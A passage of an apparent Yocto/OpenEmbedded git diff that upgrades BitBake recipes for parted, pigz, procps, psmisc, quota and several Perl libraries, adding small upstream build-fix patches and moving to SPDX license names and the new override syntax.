e35e6f0..c813848 100755 +--- a/tests/t1101-busy-partition.sh ++++ b/tests/t1101-busy-partition.sh +@@ -22,6 +22,8 @@ test "$VERBOSE" = yes && parted --version + + require_root_ + require_scsi_debug_module_ ++require_fat_ ++require_filesystem_ vfat + + # create memory-backed device + scsi_debug_setup_ dev_size_mb=80 > dev-name || diff --git a/meta/recipes-extended/parted/files/no_check.patch b/meta/recipes-extended/parted/files/no_check.patch deleted file mode 100644 index e6a26d11a5..0000000000 --- a/meta/recipes-extended/parted/files/no_check.patch +++ /dev/null @@ -1,20 +0,0 @@ -Upstream-Status: Inappropriate [configuration] - -If check is detected, it makes the builds non-determinstic so just force -it to be disabled. - -RP - 4/11/08 - -Index: parted-3.2/configure.ac -=================================================================== ---- parted-3.2.orig/configure.ac -+++ parted-3.2/configure.ac -@@ -555,7 +555,7 @@ AC_CHECK_HEADER([execinfo.h], [ - AM_CONDITIONAL([COMPILE_FOR_S390], [test "$host_cpu" = s390 || test "$host_cpu" = s390x]) - - dnl check for "check", unit testing library/header --PKG_CHECK_MODULES([CHECK], [check >= 0.9.3], have_check=yes, have_check=no) -+have_check=no - if test "$have_check" != "yes"; then - AC_MSG_RESULT([Unable to locate check version 0.9.3 or higher: not building]) - fi diff --git a/meta/recipes-extended/parted/files/run-ptest b/meta/recipes-extended/parted/files/run-ptest index f39c478ce6..c3d6fca339 100644 --- a/meta/recipes-extended/parted/files/run-ptest +++ b/meta/recipes-extended/parted/files/run-ptest @@ -1,5 +1,7 @@ #!/bin/sh +mkdir -p /etc/udev/mount.blacklist.d echo /dev/sda1 >> /etc/udev/mount.blacklist.d/parted-tmp +rm -f tests/*.log make -C tests test-suite.log rm /etc/udev/mount.blacklist.d/parted-tmp diff --git a/meta/recipes-extended/parted/parted_3.3.bb b/meta/recipes-extended/parted/parted_3.4.bb index aa4d8042cf..d83b002f82 100644 --- a/meta/recipes-extended/parted/parted_3.3.bb +++ b/meta/recipes-extended/parted/parted_3.4.bb @@ -1,27 +1,26 @@ SUMMARY = "Disk partition editing/resizing utility" HOMEPAGE = "http://www.gnu.org/software/parted/parted.html" -LICENSE = "GPLv3+" +DESCRIPTION = "GNU Parted manipulates partition tables. This is useful for creating space for new operating systems, reorganizing disk usage, copying data on hard disks and disk imaging." +LICENSE = "GPL-3.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=2f31b266d3440dd7ee50f92cf67d8e6c" SECTION = "console/tools" -DEPENDS = "ncurses readline util-linux virtual/libiconv" +DEPENDS = "ncurses util-linux virtual/libiconv" SRC_URI = "${GNU_MIRROR}/parted/parted-${PV}.tar.xz \ - file://no_check.patch \ file://fix-doc-mandir.patch \ - file://0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch \ - file://0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch \ file://run-ptest \ - file://0001-libparted-fs-add-sourcedir-lib-to-include-paths.patch \ - file://0002-tests-use-skip_-rather-than-skip_test_-which-is-unde.patch \ + file://check-vfat.patch \ " -SRC_URI[md5sum] = "090655d05f3c471aa8e15a27536889ec" -SRC_URI[sha256sum] = "57e2b4bd87018625c515421d4524f6e3b55175b472302056391c5f7eccb83d44" - -EXTRA_OECONF = "--disable-device-mapper" +SRC_URI[md5sum] = "357d19387c6e7bc4a8a90fe2d015fe80" +SRC_URI[sha256sum] = "e1298022472da5589b7f2be1d5ee3c1b66ec3d96dfbad03dc642afd009da5342" inherit autotools pkgconfig gettext texinfo ptest +PACKAGECONFIG ?= "readline" +PACKAGECONFIG[device-mapper] = "--enable-device-mapper,--disable-device-mapper,libdevmapper lvm2" +PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline" + BBCLASSEXTEND = "native nativesdk" do_compile_ptest() { @@ -34,20 +33,24 @@ do_install_ptest() { cp ${S}/build-aux/test-driver $t/build-aux/ cp -r ${S}/tests $t cp ${B}/tests/Makefile $t/tests/ + mkdir $t/lib + cp ${B}/lib/config.h $t/lib sed -i "s|^VERSION.*|VERSION = ${PV}|g" $t/tests/Makefile sed -i "s|^srcdir =.*|srcdir = \.|g" $t/tests/Makefile sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" $t/tests/Makefile - sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" $t/tests/Makefile + sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = "${PTEST_PATH}"|g" $t/tests/Makefile + sed -i "s|^abs_top_builddir =.*|abs_top_builddir = "${PTEST_PATH}"|g" $t/tests/Makefile sed -i "s|^Makefile:.*|Makefile:|g" $t/tests/Makefile + sed -i "/^BUILDINFO.*$/d" $t/tests/Makefile for i in print-align print-max print-flags dup-clobber duplicate fs-resize; \ do cp ${B}/tests/.libs/$i $t/tests/; \ done sed -e 's| ../parted||' -i $t/tests/*.sh } -RDEPENDS_${PN}-ptest = "bash coreutils perl util-linux-losetup python3 make gawk e2fsprogs-mke2fs" - -RDEPENDS_${PN}-ptest_append_libc-glibc = "\ +RDEPENDS:${PN}-ptest = "bash coreutils perl util-linux-losetup util-linux-mkswap python3 make gawk e2fsprogs-mke2fs e2fsprogs-tune2fs python3-core dosfstools" +RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-loop kernel-module-vfat" +RDEPENDS:${PN}-ptest:append:libc-glibc = "\ glibc-utils \ locale-base-en-us \ " @@ -55,5 +58,5 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = "\ inherit update-alternatives ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "partprobe" +ALTERNATIVE:${PN} = "partprobe" ALTERNATIVE_LINK_NAME[partprobe] = "${sbindir}/partprobe" diff --git a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb index e321cd2b27..3fa89dec9a 100644 --- a/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb +++ b/meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb @@ -3,13 +3,13 @@ DESCRIPTION = "PBZIP2 is a parallel implementation of the bzip2 block-sorting \ file compressor that uses pthreads and achieves near-linear speedup on SMP \ machines. The output of this version is fully compatible with bzip2 v1.0.2 or \ newer (ie: anything compressed with pbzip2 can be decompressed with bzip2)." -HOMEPAGE = "http://compression.ca/pbzip2/" +HOMEPAGE = "https://launchpad.net/pbzip2/" SECTION = "console/utils" LICENSE = "bzip2-1.0.6" LIC_FILES_CHKSUM = "file://COPYING;md5=398b8832c6f840cfebd20ab2be6a3743" DEPENDS = "bzip2" -DEPENDS_append_class-native = " bzip2-replacement-native" +DEPENDS:append:class-native = " bzip2-replacement-native" SRC_URI = "https://launchpad.net/${BPN}/1.1/${PV}/+download/${BP}.tar.gz \ file://0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch \ @@ -28,4 +28,4 @@ do_install() { install -m 0755 pbzip2 ${D}${bindir}/ } -BBCLASSEXTEND = "native" +BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb deleted file mode 100644 index 9f992d3e83..0000000000 --- a/meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb +++ /dev/null @@ -1,20 +0,0 @@ -SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library" -SECTION = "libs" -LICENSE = "Artistic-1.0 | GPL-1.0+" -LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f" - -SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/Convert-ASN1-${PV}.tar.gz" - -SRC_URI[md5sum] = "68723e96be0b258a9e20480276e8a62c" -SRC_URI[sha256sum] = "74a4a78ae0c5e973100ac0a8f203a110f76fb047b79dae4fc1fd7d6814d3d58a" - -S = "${WORKDIR}/Convert-ASN1-${PV}" - -inherit cpan ptest-perl - -EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}" - -RDEPENDS_${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 perl-module-socket perl-module-time-local perl-module-posix" -RDEPENDS_${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc" - -BBCLASSEXTEND = "native" diff --git a/meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb b/meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb new file mode 100644 index 0000000000..2714582957 --- /dev/null +++ b/meta/recipes-extended/perl/libconvert-asn1-perl_0.33.bb @@ -0,0 +1,21 @@ +SUMMARY = "Convert::ASN1 - Perl ASN.1 Encode/Decode library" +SECTION = "libs" +HOMEPAGE = "http://search.cpan.org/dist/Convert-ASN1/" +DESCRIPTION = "Convert::ASN1 is a perl library for encoding/decoding data using ASN.1 definitions." +LICENSE = "Artistic-1.0 | GPL-1.0-or-later" +LIC_FILES_CHKSUM = "file://README.md;beginline=91;endline=97;md5=ceff7fd286eb6d8e8e0d3d23e096a63f" + +SRC_URI = "https://cpan.metacpan.org/authors/id/T/TI/TIMLEGGE/Convert-ASN1-${PV}.tar.gz" + +SRC_URI[sha256sum] = "1fdf004520c79e3a244cf9688616293516c11793d746c761f367496eb3d06076" + +S = "${WORKDIR}/Convert-ASN1-${PV}" + +inherit cpan ptest-perl + +EXTRA_PERLFLAGS = "-I ${PERLHOSTLIB}" + +RDEPENDS:${PN} += "perl-module-exporter perl-module-constant perl-module-encode perl-module-encode-encoding perl-module-utf8 perl-module-socket perl-module-time-local perl-module-posix" +RDEPENDS:${PN}-ptest += "perl-module-math-bigint perl-module-io-socket perl-module-data-dumper perl-module-math-bigint-calc" + +BBCLASSEXTEND = "native" diff --git a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb index 7219c7d11e..3e0d216a03 100644 --- a/meta/recipes-extended/perl/libtimedate-perl_2.30.bb +++ b/meta/recipes-extended/perl/libtimedate-perl_2.30.bb @@ -1,8 +1,9 @@ SUMMARY = "Perl modules useful for manipulating date and time information" HOMEPAGE = "https://metacpan.org/release/TimeDate" +DESCRIPTION = "This is the perl5 TimeDate distribution. It requires perl version 5.003 or later." SECTION = "libs" # You can redistribute it and/or modify it under the same terms as Perl itself. -LICENSE = "Artistic-1.0 | GPL-1.0+" +LICENSE = "Artistic-1.0 | GPL-1.0-or-later" LIC_FILES_CHKSUM = "file://README;beginline=21;md5=576b7cb41e5e821501a01ed66f0f9d9e" SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GB/GBARR/TimeDate-${PV}.tar.gz" @@ -13,9 +14,8 @@ inherit cpan ptest-perl BBCLASSEXTEND = "native" -RDEPENDS_${PN}_class-native = "" -RDEPENDS_${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local" -RDEPENDS_${PN}-ptest += "perl-module-test-more perl-module-utf8" +RDEPENDS:${PN} += "perl-module-carp perl-module-exporter perl-module-strict perl-module-time-local" +RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-utf8" SRC_URI[md5sum] = "b1d91153ac971347aee84292ed886c1c" SRC_URI[sha256sum] = "75bd254871cb5853a6aa0403ac0be270cdd75c9d1b6639f18ecba63c15298e86" diff --git a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb index 57c407e0f8..568268d886 100644 --- a/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb +++ b/meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb @@ -5,7 +5,7 @@ DESCRIPTION = "XML::NamespaceSupport offers a simple way to process namespace-ba basic checks. " SECTION = "libs" -LICENSE = "Artistic-1.0 | GPL-1.0+" +LICENSE = "Artistic-1.0 | GPL-1.0-or-later" SRCNAME = "XML-NamespaceSupport" @@ -21,7 +21,7 @@ S = "${WORKDIR}/${SRCNAME}-${PV}" inherit cpan ptest-perl -RDEPENDS_${PN}-ptest += "perl-module-test-more" +RDEPENDS:${PN}-ptest += "perl-module-test-more" BBCLASSEXTEND="native nativesdk" diff --git a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb index 2bff65a082..ebec5f0462 100644 --- a/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb +++ b/meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb @@ -7,8 +7,8 @@ use this module as a base class so you don't have to, for example, \ implement the characters() callback." SECTION = "libs" -LICENSE = "Artistic-1.0 | GPL-1.0+" -RDEPENDS_${PN} += "perl-module-extutils-makemaker" +LICENSE = "Artistic-1.0 | GPL-1.0-or-later" +RDEPENDS:${PN} += "perl-module-extutils-makemaker" LIC_FILES_CHKSUM = "file://dist.ini;endline=5;md5=8f9c9a55340aefaee6e9704c88466446" @@ -21,6 +21,6 @@ S = "${WORKDIR}/XML-SAX-Base-${PV}" inherit cpan ptest-perl -RDEPENDS_${PN}-ptest += "perl-module-test perl-module-test-more" +RDEPENDS:${PN}-ptest += "perl-module-test perl-module-test-more" BBCLASSEXTEND = "native nativesdk" diff --git a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb index 02ee34ee17..bc2aa0821e 100644 --- a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb +++ b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb @@ -9,9 +9,9 @@ come from the Java JAXP specification (SAX part), only without the \ javaness." SECTION = "libs" -LICENSE = "Artistic-1.0 | GPL-1.0+" +LICENSE = "Artistic-1.0 | GPL-1.0-or-later" DEPENDS += "libxml-namespacesupport-perl-native" -RDEPENDS_${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp" +RDEPENDS:${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp" LIC_FILES_CHKSUM = "file://LICENSE;md5=65c4cd8f39c24c7135ed70dacbcb09e3" @@ -29,9 +29,9 @@ do_install_ptest() { chown -R root:root ${D}${PTEST_PATH}/testfiles } -RDEPENDS_${PN} += "perl-module-encode perl-module-perlio" +RDEPENDS:${PN} += "perl-module-encode perl-module-perlio" -RDEPENDS_${PN}-ptest += " \ +RDEPENDS:${PN}-ptest += " \ perl-module-base \ perl-module-encode-byte \ perl-module-encode-unicode \ diff --git a/meta/recipes-extended/pigz/pigz_2.4.bb b/meta/recipes-extended/pigz/pigz_2.7.bb index 8c65ec34f0..9a1c591b27 100644 --- a/meta/recipes-extended/pigz/pigz_2.4.bb +++ b/meta/recipes-extended/pigz/pigz_2.7.bb @@ -9,9 +9,8 @@ LICENSE = "Zlib & Apache-2.0" LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21" SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz" -SRC_URI[md5sum] = "def2f6e19d9d8231445adc1349d346df" -SRC_URI[sha256sum] = "a4f816222a7b4269bd232680590b579ccc72591f1bb5adafcd7208ca77e14f73" -PROVIDES_class-native += "gzip-native" +SRC_URI[sha256sum] = "b4c9e60344a08d5db37ca7ad00a5b2c76ccb9556354b722d56d55ca7e8b1c707" +PROVIDES:class-native += "gzip-native" # Point this at the homepage in case /fossils/ isn't updated UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/" @@ -31,7 +30,7 @@ do_install() { ln -nsf pigz ${D}${base_bindir}/pigzcat } -do_install_append_class-native() { +do_install:append:class-native() { install -d ${D}${bindir} install ${B}/pigz ${D}${bindir}/gzip ln -nsf gzip ${D}${bindir}/gunzip @@ -39,8 +38,8 @@ do_install_append_class-native() { } ALTERNATIVE_PRIORITY = "110" -ALTERNATIVE_${PN} = "gunzip gzip zcat" -ALTERNATIVE_${PN}_class-nativesdk = "" +ALTERNATIVE:${PN} = "gunzip gzip zcat" +ALTERNATIVE:${PN}:class-nativesdk = "" ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip" ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip" ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat" diff --git a/meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch b/meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch new file mode 100644 index 0000000000..c92ad28e4f --- /dev/null +++ b/meta/recipes-extended/procps/procps/0001-w.c-correct-musl-builds.patch @@ -0,0 +1,44 @@ +From 22f8d25567b8d64bdbab0fb0b4915b4362561d9b Mon Sep 17 00:00:00 2001 +From: Alexander Kanavin <alex.kanavin@gmail.com> +Date: Wed, 24 Feb 2021 21:14:31 +0000 +Subject: [PATCH] w.c: correct musl builds + +No need to redefine UT_ stuff to something that does not exist. + +UT_ is already provided in musl but via utmp.h header, so include +it always. + +Upstream-Status: Submitted [https://gitlab.com/procps-ng/procps/-/merge_requests/126] +Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> +--- + w.c | 9 +-------- + 1 file changed, 1 insertion(+), 8 deletions(-) + +diff --git a/w.c b/w.c +index 9d07ac9..d10639b 100644 +--- a/w.c ++++ b/w.c +@@ -57,9 +57,8 @@ + #include <unistd.h> + #ifdef HAVE_UTMPX_H + # include <utmpx.h> +-#else +-# include <utmp.h> + #endif ++#include <utmp.h> + #include <arpa/inet.h> + + static int ignoreuser = 0; /* for '-u' */ +@@ -72,12 +71,6 @@ typedef struct utmpx utmp_t; + typedef struct utmp utmp_t; + #endif + +-#if !defined(UT_HOSTSIZE) || defined(__UT_HOSTSIZE) +-# define UT_HOSTSIZE __UT_HOSTSIZE +-# define UT_LINESIZE __UT_LINESIZE +-# define UT_NAMESIZE __UT_NAMESIZE +-#endif +- + #ifdef W_SHOWFROM + # define FROM_STRING "on" + #else diff --git a/meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch b/meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch new file mode 100644 index 0000000000..5fa1ac9d78 --- /dev/null +++ b/meta/recipes-extended/procps/procps/0002-proc-escape.c-add-missing-include.patch @@ -0,0 +1,23 @@ +From 4f964821398dff7ab21fec63da15e1e00b2e9277 Mon Sep 17 00:00:00 2001 +From: Alexander Kanavin <alex.kanavin@gmail.com> +Date: Wed, 24 Feb 2021 21:16:14 +0000 +Subject: [PATCH] proc/escape.c: add missing include + +Upstream-Status: Submitted [https://gitlab.com/procps-ng/procps/-/merge_requests/126] +Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> +--- + proc/escape.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/proc/escape.c b/proc/escape.c +index 2e8fb7d..e1f4612 100644 +--- a/proc/escape.c ++++ b/proc/escape.c +@@ -21,6 +21,7 @@ + #include <sys/types.h> + #include <string.h> + #include <limits.h> ++#include <langinfo.h> + #include "procps.h" + #include "escape.h" + #include "readproc.h" diff --git a/meta/recipes-extended/procps/procps_3.3.16.bb b/meta/recipes-extended/procps/procps_3.3.17.bb index 2810ebd285..0f5575c9ab 100644 --- a/meta/recipes-extended/procps/procps_3.3.16.bb +++ b/meta/recipes-extended/procps/procps_3.3.17.bb @@ -3,7 +3,7 @@ DESCRIPTION = "Procps contains a set of system utilities that provide system inf the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill." HOMEPAGE = "https://gitlab.com/procps-ng/procps" SECTION = "base" -LICENSE = "GPLv2+ & LGPLv2+" +LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \ " @@ -12,17 +12,19 @@ DEPENDS = "ncurses" inherit autotools gettext pkgconfig update-alternatives -SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https \ +SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https;branch=master \ file://sysctl.conf \ + file://0001-w.c-correct-musl-builds.patch \ + file://0002-proc-escape.c-add-missing-include.patch \ " -SRCREV = "59c88e18f29000ceaf7e5f98181b07be443cf12f" +SRCREV = "19a508ea121c0c4ac6d0224575a036de745eaaf8" S = "${WORKDIR}/git" # Upstream has a custom autogen.sh which invokes po/update-potfiles as they # don't ship a po/POTFILES.in (which is silly). Without that file gettext # doesn't believe po/ is a gettext directory and won't generate po/Makefile. -do_configure_prepend() { +do_configure:prepend() { ( cd ${S} && po/update-potfiles ) } @@ -31,7 +33,7 @@ EXTRA_OECONF = "--enable-skill --disable-modern-top" PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}" PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd" -do_install_append () { +do_install:append () { install -d ${D}${base_bindir} [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done install -d ${D}${base_sbindir} @@ -48,7 +50,7 @@ do_install_append () { fi } -CONFFILES_${PN} = "${sysconfdir}/sysctl.conf" +CONFFILES:${PN} = "${sysconfdir}/sysctl.conf" bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w" base_bindir_progs += "kill pidof ps watch" @@ -57,9 +59,9 @@ base_sbindir_progs += "sysctl" ALTERNATIVE_PRIORITY = "200" ALTERNATIVE_PRIORITY[pidof] = "150" -ALTERNATIVE_${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}" +ALTERNATIVE:${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}" -ALTERNATIVE_${PN}-doc = "kill.1 uptime.1" +ALTERNATIVE:${PN}-doc = "kill.1 uptime.1" ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1" ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1" @@ -73,4 +75,29 @@ python __anonymous() { # 'ps' isn't suitable for use as a security tool so whitelist this CVE. # https://bugzilla.redhat.com/show_bug.cgi?id=1575473#c3 -CVE_CHECK_WHITELIST += "CVE-2018-1121" +CVE_CHECK_IGNORE += "CVE-2018-1121" + +PROCPS_PACKAGES = "${PN}-lib \ + ${PN}-ps \ + ${PN}-sysctl" + +PACKAGE_BEFORE_PN = "${PROCPS_PACKAGES}" +RDEPENDS:${PN} += "${PROCPS_PACKAGES}" + +RDEPENDS:${PN}-ps += "${PN}-lib" +RDEPENDS:${PN}-sysctl += "${PN}-lib" + +FILES:${PN}-lib = "${libdir}" +FILES:${PN}-ps = "${base_bindir}/ps.${BPN}" +FILES:${PN}-sysctl = "${base_sbindir}/sysctl.${BPN} ${sysconfdir}/sysctl.conf ${sysconfdir}/sysctl.d" + +ALTERNATIVE:${PN}:remove = "ps" +ALTERNATIVE:${PN}:remove = "sysctl" + +ALTERNATIVE:${PN}-ps = "ps" +ALTERNATIVE_TARGET[ps] = "${base_bindir}/ps" +ALTERNATIVE_LINK_NAME[ps] = "${base_bindir}/ps" + +ALTERNATIVE:${PN}-sysctl = "sysctl" +ALTERNATIVE_TARGET[sysctl] = "${base_sbindir}/sysctl" +ALTERNATIVE_LINK_NAME[sysctl] = "${base_sbindir}/sysctl"
\ No newline at end of file diff --git a/meta/recipes-extended/psmisc/psmisc.inc b/meta/recipes-extended/psmisc/psmisc.inc index 6ab1288152..12539dad53 100644 --- a/meta/recipes-extended/psmisc/psmisc.inc +++ b/meta/recipes-extended/psmisc/psmisc.inc @@ -8,7 +8,7 @@ processes identified by name. The fuser command identifies the PIDs \ of processes that are using specified files or filesystems." SECTION = "base" DEPENDS = "ncurses virtual/libintl" -LICENSE = "GPLv2" +LICENSE = "GPL-2.0-only" SRC_URI = "${SOURCEFORGE_MIRROR}/psmisc/psmisc-${PV}.tar.gz" @@ -19,7 +19,7 @@ inherit autotools gettext # Upstream has a custom autogen.sh which invokes po/update-potfiles as they # don't ship a po/POTFILES.in (which is silly). Without that file gettext # doesn't believe po/ is a gettext directory and won't generate po/Makefile. -do_configure_prepend() { +do_configure:prepend() { ( cd ${S} && po/update-potfiles ) } @@ -27,30 +27,30 @@ do_configure_prepend() { PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}" PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6," -ALLOW_EMPTY_${PN} = "1" +ALLOW_EMPTY:${PN} = "1" PACKAGES =+ "fuser fuser-doc killall killall-doc pstree pstree-doc" PACKAGES += "psmisc-extras" -FILES_${PN} = "" -RDEPENDS_${PN} = "fuser killall pstree" +FILES:${PN} = "" +RDEPENDS:${PN} = "fuser killall pstree" -FILES_fuser = "${bindir}/fuser.${BPN}" -FILES_fuser-doc = "${mandir}/man1/fuser*" +FILES:fuser = "${bindir}/fuser.${BPN}" +FILES:fuser-doc = "${mandir}/man1/fuser*" -FILES_killall = "${bindir}/killall.${BPN}" -FILES_killall-doc = "${mandir}/man1/killall*" +FILES:killall = "${bindir}/killall.${BPN}" +FILES:killall-doc = "${mandir}/man1/killall*" -FILES_pstree = "${bindir}/pstree" -FILES_pstree-doc = "${mandir}/man1/pstree*" +FILES:pstree = "${bindir}/pstree" +FILES:pstree-doc = "${mandir}/man1/pstree*" -FILES_psmisc-extras = "${bindir}" -FILES_psmisc-extras-doc = "${mandir}" +FILES:psmisc-extras = "${bindir}" +FILES:psmisc-extras-doc = "${mandir}" inherit update-alternatives ALTERNATIVE_PRIORITY = "90" -ALTERNATIVE_killall = "killall" +ALTERNATIVE:killall = "killall" -ALTERNATIVE_fuser = "fuser" +ALTERNATIVE:fuser = "fuser" diff --git a/meta/recipes-extended/psmisc/psmisc_23.3.bb b/meta/recipes-extended/psmisc/psmisc_23.4.bb index e569f1074b..94caa2ddb7 100644 --- a/meta/recipes-extended/psmisc/psmisc_23.3.bb +++ b/meta/recipes-extended/psmisc/psmisc_23.4.bb @@ -1,9 +1,9 @@ require psmisc.inc -LICENSE = "GPLv2" +LICENSE = "GPL-2.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3" -SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https \ +SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https;branch=master \ file://0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch \ " -SRCREV = "78bde849041e6c914a2a517ebe1255b86dc98772" +SRCREV = "5fab6b7ab385080f1db725d6803136ec1841a15f" S = "${WORKDIR}/git" diff --git a/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch b/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch new file mode 100644 index 0000000000..34ded2d857 --- /dev/null +++ b/meta/recipes-extended/quota/quota/0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch @@ -0,0 +1,34 @@ +From 02b222a335527f1031cc9495d8c5ebc1bc5b1d4e Mon Sep 17 00:00:00 2001 +From: Fabrice Fontaine <fontaine.fabrice@gmail.com> +Date: Wed, 11 Nov 2020 15:00:47 +0100 +Subject: [PATCH] quota: Use realloc(3) instead of reallocarray(3) + +reallocarray(3) has been added to glibc relatively recently (version +2.26, from 2017) and apparently not all users run new enough glibc. Just +use realloc(3) for now since in this case there's no real risk of +overflow. + +Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com> +Signed-off-by: Jan Kara <jack@suse.cz> +Upstream-Status: Backport +Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com> +--- + quota.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/quota.c b/quota.c +index a6ed61f..a60de12 100644 +--- a/quota.c ++++ b/quota.c +@@ -385,7 +385,7 @@ int main(int argc, char **argv) + break; + case 259: + fscount++; +- fsnames = reallocarray(fsnames, fscount, sizeof(char *)); ++ fsnames = realloc(fsnames, fscount * sizeof(char *)); + if (!fsnames) + die(1, _("Not enough memory for filesystem names")); + fsnames[fscount - 1] = optarg; +-- +2.17.1 + diff --git a/meta/recipes-extended/quota/quota_4.05.bb b/meta/recipes-extended/quota/quota_4.06.bb index c5da1e71ed..0535d14c20 100644 --- a/meta/recipes-extended/quota/quota_4.05.bb +++ b/meta/recipes-extended/quota/quota_4.06.bb @@ -1,16 +1,17 @@ SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem" SECTION = "base" HOMEPAGE = "http://sourceforge.net/projects/linuxquota/" +DESCRIPTION = "Tools and patches for the Linux Diskquota system as part of the Linux kernel" BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136" -LICENSE = "BSD & GPLv2+ & LGPLv2.1+" +LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later" LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \ file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb" SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \ file://fcntl.patch \ + file://0001-quota-Use-realloc-3-instead-of-reallocarray-3.patch \ " -SRC_URI[md5sum] = "1c1dbd2cd3d680ccac661239b067e147" -SRC_URI[sha256sum] = "ef3b5b5d1014ed1344b46c1826145e20cbef8db967b522403c9a060761cf7ab9" +SRC_URI[sha256sum] = "2f3e03039f378d4f0d97acdb49daf581dcaad64d2e1ddf129495fd579fbd268d" CVE_PRODUCT = "linux_diskquota" @@ -26,7 +27,7 @@ LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}" 